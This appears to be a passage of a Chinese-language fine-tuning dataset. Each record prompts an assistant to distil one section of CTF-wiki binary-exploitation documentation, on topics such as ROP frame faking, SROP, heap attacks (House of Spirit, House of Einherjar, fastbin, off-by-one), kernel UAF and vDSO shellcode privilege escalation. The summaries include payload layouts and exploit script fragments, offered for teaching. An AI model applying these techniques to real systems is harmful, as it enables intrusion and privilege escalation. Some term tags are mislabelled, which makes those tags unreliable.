"ctf_score": 24, "ctf_task_type": "pwn", "heading": "一、\\_OBJECT\\_HEADER：对象基本信息", "heading_path": ["基础知识", "“一切皆对象”", "一、\\_OBJECT\\_HEADER：对象基本信息"], "original_id": "docs-1b3dffe3976e3b4925e7", "original_line": 1449, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/windows/kernel-mode/basic-knowledge/introduction.md", "source_root": "docs", "source_sha256": "dffe9072413dc248a151b1fce985a46c7e465f5387c687ba5f3287e4acd99fc6", "split": "train", "split_group_key": "eda2dd0cbab8cdf249f6f22c", "subcategory": "pwn/windows/kernel-mode", "terms": ["pwn", "windows", "kernel-mode", "basic-knowledge", "code:powershell"], "title": "基础知识"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/windows/kernel-mode/basic-knowledge/introduction.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-47493f5dc83c80c7115d", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/fancy-rop.md` 中的章节「原理」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/fancy-rop.md`\n标题：花式栈溢出技巧\n章节：花式栈溢出技巧 > frame faking > 原理\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“原理”展开。\n- 一般来说其 payload 如下 `` buffer padding|fake ebp|leave ret addr| ` 即我们利用栈溢出将栈上构造为如上格式。\n- 在 frame faking 中，我们所利用的技巧便是同时控制 EBP 与 EIP，这样我们在控制程序执行流的同时，也改变程序栈帧的位置。\n- 1. 在有栈溢出的程序执行 leave 时，其分为两个步骤 - mov esp, ebp ，这会将 esp 也指向当前栈溢出漏洞的 ebp 基地址处。\n- 可以看出在 fake frame 中，我们有一个需求就是，我们必须得有一块可以写的内存，并且我们还知道这块内存的地址，这一点与 stack pivoting 相似。\n- 其中 fake ebp 为我们构造的栈帧的基地址，需要注意的是这里是一个地址。\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- stackoverflow\n\n代码/命令片段线索：\n- plain: 1 行，首行 `buffer padding|fake ebp|leave ret addr|`\n- plain: 4 行，首行 `fake ebp`\n- plain: 2 行，首行 `push ebp # 将ebp压栈`\n- plain: 2 行，首行 `leave`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1465, "chunk_count": 1, "chunk_index": 0, "ctf_score": 28, "ctf_task_type": "pwn", "heading": "原理", "heading_path": ["花式栈溢出技巧", "frame faking", "原理"], "original_id": "docs-a854b837cd68ac5a94e7", "original_line": 1259, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/fancy-rop.md", "source_root": "docs", "source_sha256": "0b7df13e54f705c9de45a0f19d62105001f5f8907741819d44afc12bc54434d7", "split": "train", "split_group_key": "ea7d49a0d5ba41d527d7eaa3", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "漏洞利用", "pwn", "linux", "user-mode", "stackoverflow"], "title": "花式栈溢出技巧"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/fancy-rop.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-47ac8ba2b72e9236d169", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/exploitation/heap/slub/uaf.md` 中的章节「例题：CISCN2017 - babydriver」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/exploitation/heap/slub/uaf.md`\n标题：kernel UAF\n章节：kernel UAF > 例题：CISCN2017 - babydriver\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“例题：CISCN2017 - babydriver”展开。\n- 题目附件可在 [https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/linux/kernel-mode/CISCN2017-babydriver](https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/linux/kernel-mode/CISCN2017-babydriver) 下载。\n\n关键术语：\n- UAF\n- 堆\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- exploitation\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 209, "chunk_count": 1, "chunk_index": 0, "ctf_score": 32, "ctf_task_type": "pwn", "heading": "例题：CISCN2017 - babydriver", "heading_path": ["kernel UAF", "例题：CISCN2017 - babydriver"], "original_id": "docs-16fdab0a3af37237bcd3", "original_line": 774, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/heap/slub/uaf.md", "source_root": "docs", "source_sha256": "8e6b9adbb421820e0d460522b874c1fb80d883af40c04dfc833c137f2c35fa9f", "split": "train", "split_group_key": "a739e6fce7fbfdcc6a8e8b45", "subcategory": "pwn/linux/kernel-mode", "terms": ["UAF", "堆", "漏洞利用", "pwn", "linux", "kernel-mode", "exploitation"], "title": "kernel UAF"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/exploitation/heap/slub/uaf.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-48c7ee66611e2676959d", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/environment/build-kernel-module.md` 中的章节「文件节点交互」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/environment/build-kernel-module.md`\n标题：编写一个 Loadable Kernel Module\n章节：Copyright (c) 2025 arttnba3 <[EMAIL_REDACTED]> > 提供用户态接口 > 文件节点交互\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“文件节点交互”展开。\n- 我们的文件节点支持通过 read() 、 write() 、 ioctl() 等系统调用进行交互，而这实际上需要我们在内核空间当中定义相应的操作函数。\n- 对于 procfs 而言，其支持的操作通过 struct proc_ops 这一函数表进行定义： ``c struct proc_ops { unsigned int proc_flags;\n- int (proc_open)(struct inode , struct file );\n- ssize_t (proc_read)(struct file , char __user , size_t, loff_t );\n- ssize_t (proc_read_iter)(struct kiocb , struct iov_iter );\n\n关键术语：\n- pwn\n- linux\n- kernel-mode\n- environment\n- code:c\n\n代码/命令片段线索：\n- c: 17 行，首行 `struct proc_ops {`\n- c: 53 行，首行 `#include `\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 2380, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "文件节点交互", "heading_path": ["Copyright (c) 2025 arttnba3 <[EMAIL_REDACTED]>", "提供用户态接口", "文件节点交互"], "original_id": "docs-433c8f1f6cdf9feedcde", "original_line": 697, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/environment/build-kernel-module.md", "source_root": "docs", "source_sha256": "515975a5586b923eaaba1367517b2ebd6aa21fc9cee0a6411a4f62271a08f552", "split": "train", "split_group_key": "265144fa76420036b578aa3b", "subcategory": "pwn/linux/kernel-mode", "terms": ["pwn", "linux", "kernel-mode", "environment", "code:c"], "title": "编写一个 Loadable Kernel Module"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/environment/build-kernel-module.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-48e36ef4ae352f056593", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/off-by-one.md` 中的章节「vim:fenc=utf-8」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/off-by-one.md`\n标题：堆中的 Off-By-One\n章节：vim:fenc=utf-8\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“vim:fenc=utf-8”展开。\n- from pwn import * context(os='linux', arch='amd64', log_level='debug')\n- if len(sys.argv) > 2: DEBUG = 0 HOST = sys.argv[1] PORT = int(sys.argv[2])\n- p = remote(HOST, PORT) else: DEBUG = 1 if len(sys.argv) == 2: PATH = sys.argv[1]\n- libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') # ubuntu 16.04\n- def cmd(command_num): p.recvuntil('command:') p.sendline(str(command_num))\n\n关键术语：\n- 堆\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- heap\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1886, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "vim:fenc=utf-8", "heading_path": ["vim:fenc=utf-8"], "original_id": "docs-431a4cbd85f3cf4754dd", "original_line": 1023, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/off-by-one.md", "source_root": "docs", "source_sha256": "c9420c20a42485b6b155210d4899dbe07dde5bd50311698d2cedbba97b522cfe", "split": "train", "split_group_key": "f3181686775c887b09d96a83", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "AI安全", "漏洞利用", "pwn", "linux", "user-mode", "heap"], "title": "堆中的 Off-By-One"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/off-by-one.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-490173db36dd8e909d8b", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/house-of-einherjar.md` 中的章节「溢出后」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/house-of-einherjar.md`\n标题：House Of Einherjar\n章节：House Of Einherjar > 原理 > 利用过程 > 溢出后\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 在溢出后，我们释放p1，则我们所得到的新的 chunk 的位置 chunk_at_offset(p1, -((long) prevsize)) 就是我们想要的 chunk 位置了。\n- [图片文件: ./figure/einherjar_after_overflow.png]\n- 当然，需要注意的是，由于这里会对新的 chunk 进行 unlink ，因此需要确保在对应 chunk 位置构造好了fake chunk 以便于绕过 unlink 的检测。\n- 假设我们将 p1的 prev_size 字段设置为我们想要的目的 chunk 位置与p1的差值。\n\n关键术语：\n- 边界/溢出\n- 堆\n- pwn\n- linux\n- user-mode\n- heap\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 279, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "溢出后", "heading_path": ["House Of Einherjar", "原理", "利用过程", "溢出后"], "original_id": "docs-a65f7099449e1c73a075", "original_line": 971, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/house-of-einherjar.md", "source_root": "docs", "source_sha256": "7555ab87640a8cca0af7390ea651fe0a6f5200d3f5a461105702e891b734e4f5", "split": "train", "split_group_key": "935baae7b2e621595559d958", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "堆", "pwn", "linux", "user-mode", "heap"], "title": "House Of Einherjar"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/house-of-einherjar.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-49da8cdc7523669478d7", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/srop.md` 中的章节「后续」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/advanced-rop/srop.md`\n标题：SROP\n章节：SROP > 攻击原理 > 后续\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“后续”展开。\n- 需要注意的是，我们在构造ROP攻击的时候，需要满足下面的条件 - 可以通过栈溢出来控制栈的内容 - 需要知道相应的地址 - \"/bin/sh\" - Signal Frame - syscall - sigreturn - 需要有够大的空间来塞下整个sigal frame 此外，关于sigreturn以及syscall;\n- 提出该攻击的论文作者发现了这些gadgets出现的某些地址： [图片: gadget1;\n- 文件: ./figure/srop-gadget-1.png] 并且，作者发现，有些系统上SROP的地址被随机化了，而有些则没有。\n- 文件: ./figure/srop-gadget-2.png] 但是目前它已经被vsyscall-emulate和vdso机制代替了。\n- 比如说Linux < 3.3 x86_64（在Debian 7.0， Ubuntu Long Term Support， CentOS 6系统中默认内核），可以直接在vsyscall中的固定地址处找到syscall&return代码片段。\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- stackoverflow\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 726, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "后续", "heading_path": ["SROP", "攻击原理", "后续"], "original_id": "docs-40bbc6419f256e9b62bf", "original_line": 75, "original_split": "test", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/srop.md", "source_root": "docs", "source_sha256": "be09d01c0a7443a4780110de7f6d46e89cf31a313492e7e6da2a5370dd9dbdd1", "split": "train", "split_group_key": "f17b9f285ff60876b0d893f7", "subcategory": "pwn/linux/user-mode", "terms": ["边界/溢出", "栈", "ROP/JOP", "漏洞利用", "pwn", "linux", "user-mode", "stackoverflow"], "title": "SROP"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/stackoverflow/x86/advanced-rop/srop.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-49fc771557f44494b9ae", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/kernel-mode/aim/privilege-escalation/change-others.md` 中的章节「修改 vDSO 代码」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/kernel-mode/aim/privilege-escalation/change-others.md`\n标题：Change Others\n章节：Change Others > 改代码 > 修改 vDSO 代码\n路径分类：pwn / pwn/linux/kernel-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“修改 vDSO 代码”展开。\n- 在早期的时候，Linux 中的 vDSO 是可写的，考虑到这样的风险，Kees Cook 提出引入 post-init read-only 的数据，即将那些初始化后不再被写的数据标记为只读，来防御这样的利用。\n- 如果有一个高特权的进程会周期性地调用 vDSO 中的函数，那我们可以考虑把 vDSO 中相应的函数修改为特定的 shellcode。\n- 当高权限的进程执行相应的代码时，我们就可以进行提权。\n- ``c fprintf(outfile, \"/ AUTOMATICALLY GENERATED -- DO NOT EDIT /\\n\\n\");\n- fprintf(outfile, \"#include \\n\");\n\n关键术语：\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- kernel-mode\n- aim\n- code:c\n\n代码/命令片段线索：\n- c: 8 行，首行 `fprintf(outfile, \"/* AUTOMATICALLY GENERATED -- DO NOT EDIT */\\n\\n\");`\n- c: 8 行，首行 `fprintf(outfile, \"/* AUTOMATICALLY GENERATED -- DO NOT EDIT */\\n\\n\");`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 1126, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "修改 vDSO 代码", "heading_path": ["Change Others", "改代码", "修改 vDSO 代码"], "original_id": "docs-e55859c397d9d0be2c55", "original_line": 660, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/aim/privilege-escalation/change-others.md", "source_root": "docs", "source_sha256": "5ae73e332aeca082ca76620f6161568e6fade1b8ae0b3398b84006a03ad36041", "split": "train", "split_group_key": "6eccfec6c6f4bf2173182855", "subcategory": "pwn/linux/kernel-mode", "terms": ["AI安全", "漏洞利用", "pwn", "linux", "kernel-mode", "aim", "code:c"], "title": "Change Others"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/kernel-mode/aim/privilege-escalation/change-others.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-4a2bc0d9d9c8835c2b1b", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/fastbin-attack.md` 中的章节「介绍」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/fastbin-attack.md`\n标题：Fastbin Attack\n章节：Fastbin Attack > Alloc to Stack > 介绍\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“介绍”展开。\n- 该技术的核心点在于劫持 fastbin 链表中 chunk 的 fd 指针，把 fd 指针指向我们想要分配的栈上，从而实现控制栈中的一些关键数据，比如返回地址等。\n- 如果你已经理解了前文所讲的 Fastbin Double Free 与 house of spirit 技术，那么理解该技术就已经不成问题了，它们的本质都在于 fastbin 链表的特性：当前 chunk 的 fd 指针指向下一个 chunk。\n\n关键术语：\n- 堆\n- 栈\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- heap\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 205, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "介绍", "heading_path": ["Fastbin Attack", "Alloc to Stack", "介绍"], "original_id": "docs-12afa8e836f26c0604f1", "original_line": 921, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/fastbin-attack.md", "source_root": "docs", "source_sha256": "64df048b597ef6437905e6df1f5ef5b90fc06f950d7e5cb40681b923ec3ce15a", "split": "train", "split_group_key": "114ab69ffa314de9b26b19fc", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "栈", "漏洞利用", "pwn", "linux", "user-mode", "heap"], "title": "Fastbin Attack"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/fastbin-attack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-4a57fcf04993b9f128e1", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/chunk-extend-overlapping.md` 中的章节「基本示例5：通过extend前向overlapping」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/chunk-extend-overlapping.md`\n标题：Chunk Extend and Overlapping\n章节：Chunk Extend and Overlapping > 基本示例5：通过extend前向overlapping\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“基本示例5：通过extend前向overlapping”展开。\n- //占位块 } `` 前向extend利用了smallbin的unlink机制，通过修改pre_size域可以跨越多个chunk进行合并实现overlapping。\n- 这里展示通过修改pre_inuse域和pre_size域实现合并前面的块 `` int main(void) { void ptr1,ptr2,ptr3,ptr4;\n- //修改pre_inuse域 (int )((long long)ptr4-0x10)=0xd0;\n- //smallbin1 ptr2=malloc(0x10);\n- //fastbin1 ptr3=malloc(0x10);\n\n关键术语：\n- 堆\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- heap\n\n代码/命令片段线索：\n- plain: 14 行，首行 `int main(void)`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 479, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "基本示例5：通过extend前向overlapping", "heading_path": ["Chunk Extend and Overlapping", "基本示例5：通过extend前向overlapping"], "original_id": "docs-79e773145105c6a59e62", "original_line": 906, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/chunk-extend-overlapping.md", "source_root": "docs", "source_sha256": "b01e68217ab7de1be420b9424581a4f5375501c0cee771572bfb815bdb771d2a", "split": "train", "split_group_key": "65418c9231be1ce032d315d9", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "AI安全", "漏洞利用", "pwn", "linux", "user-mode", "heap"], "title": "Chunk Extend and Overlapping"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/chunk-extend-overlapping.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-4a74b2932a139362b397", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/heap/ptmalloc2/fastbin-attack.md` 中的章节「演示」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/heap/ptmalloc2/fastbin-attack.md`\n标题：Fastbin Attack\n章节：Fastbin Attack > House Of Spirit > 演示\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“演示”展开。\n- 这里就直接以 how2heap 上的例子进行说明，如下 ``c #include  #include  int main() { fprintf(stderr, \"This file demonstrates the house of spirit attack.\\n\");\n- fprintf(stderr, \"This region (memory of length: %lu) contains two chunks.\n- The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\\n\");\n- That is > 2SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks.\n- } ` 运行后的效果如下 `shell ➜ how2heap git:(master) ./house_of_spirit This file demonstrates the house of spirit attack.\n\n关键术语：\n- 堆\n- AI安全\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- heap\n- code:c\n- code:shell\n\n代码/命令片段线索：\n- c: 26 行，首行 `#include `\n- shell: 13 行，首行 `➜ how2heap git:(master) ./house_of_spirit`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 3848, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "演示", "heading_path": ["Fastbin Attack", "House Of Spirit", "演示"], "original_id": "docs-e13b2718c23d1e641bc4", "original_line": 920, "original_split": "train", "record_type": "doc_section_distillation", "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/fastbin-attack.md", "source_root": "docs", "source_sha256": "64df048b597ef6437905e6df1f5ef5b90fc06f950d7e5cb40681b923ec3ce15a", "split": "train", "split_group_key": "3fac6d93b3852069d43aca0e", "subcategory": "pwn/linux/user-mode", "terms": ["堆", "AI安全", "漏洞利用", "pwn", "linux", "user-mode", "heap", "code:c", "code:shell"], "title": "Fastbin Attack"}, "source_dataset": "docs_distilled_v1", "source_path": "pwn/linux/user-mode/heap/ptmalloc2/fastbin-attack.md", "split": "train", "type": "ctf_lora_sft"}
{"category": "pwn", "ctf_task_type": "pwn", "dataset": "ctf-dataset", "id": "ctf-lora-4a86c024740586d0a58b", "messages": [{"content": "你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。", "role": "system"}, {"content": "将 `docs/pwn/linux/user-mode/stackoverflow/x86/medium-rop.md` 中的章节「Stack Reading」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。", "role": "user"}, {"content": "来源：`docs/pwn/linux/user-mode/stackoverflow/x86/medium-rop.md`\n标题：中级ROP\n章节：中级ROP > BROP > 攻击原理 > Stack Reading\n路径分类：pwn / pwn/linux/user-mode\n分块：1/1\n\n核心知识点：\n- 本节主题围绕“Stack Reading”展开。\n- 如下所示，这是目前经典的栈布局 `` buffer|canary|saved fame pointer|saved returned address `` 要向得到canary以及之后的变量，我们需要解决第一个问题，如何得到overflow的长度，这个可以通过不断尝试来获取。\n- 需要注意的是，攻击条件2表明了程序本身并不会因为crash有变化，所以每次的canary等值都是一样的。\n- [图片文件: ./figure/stack_reading.png]\n- canary本身可以通过爆破来获取，但是如果只是愚蠢地枚举所有的数值的话，显然是低效的。\n- 正如论文中所展示的，每个字节最多有256种可能，所以在32位的情况下，我们最多需要爆破1024次，64位最多爆破2048次。\n\n关键术语：\n- 边界/溢出\n- 栈\n- ROP/JOP\n- 漏洞利用\n- pwn\n- linux\n- user-mode\n- stackoverflow\n\n代码/命令片段线索：\n- plain: 1 行，首行 `buffer|canary|saved fame pointer|saved returned address`\n\n训练边界：\n- 仅基于本地文档片段归纳，不补充外部事实。\n- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。", "role": "assistant"}], "metadata": {"category": "pwn", "chars": 400, "chunk_count": 1, "chunk_index": 0, "ctf_score": 26, "ctf_task_type": "pwn", "heading": "Stack Reading", "heading_path": ["中级ROP", "BROP", "攻击原理", "Stack Reading"], "original_id": 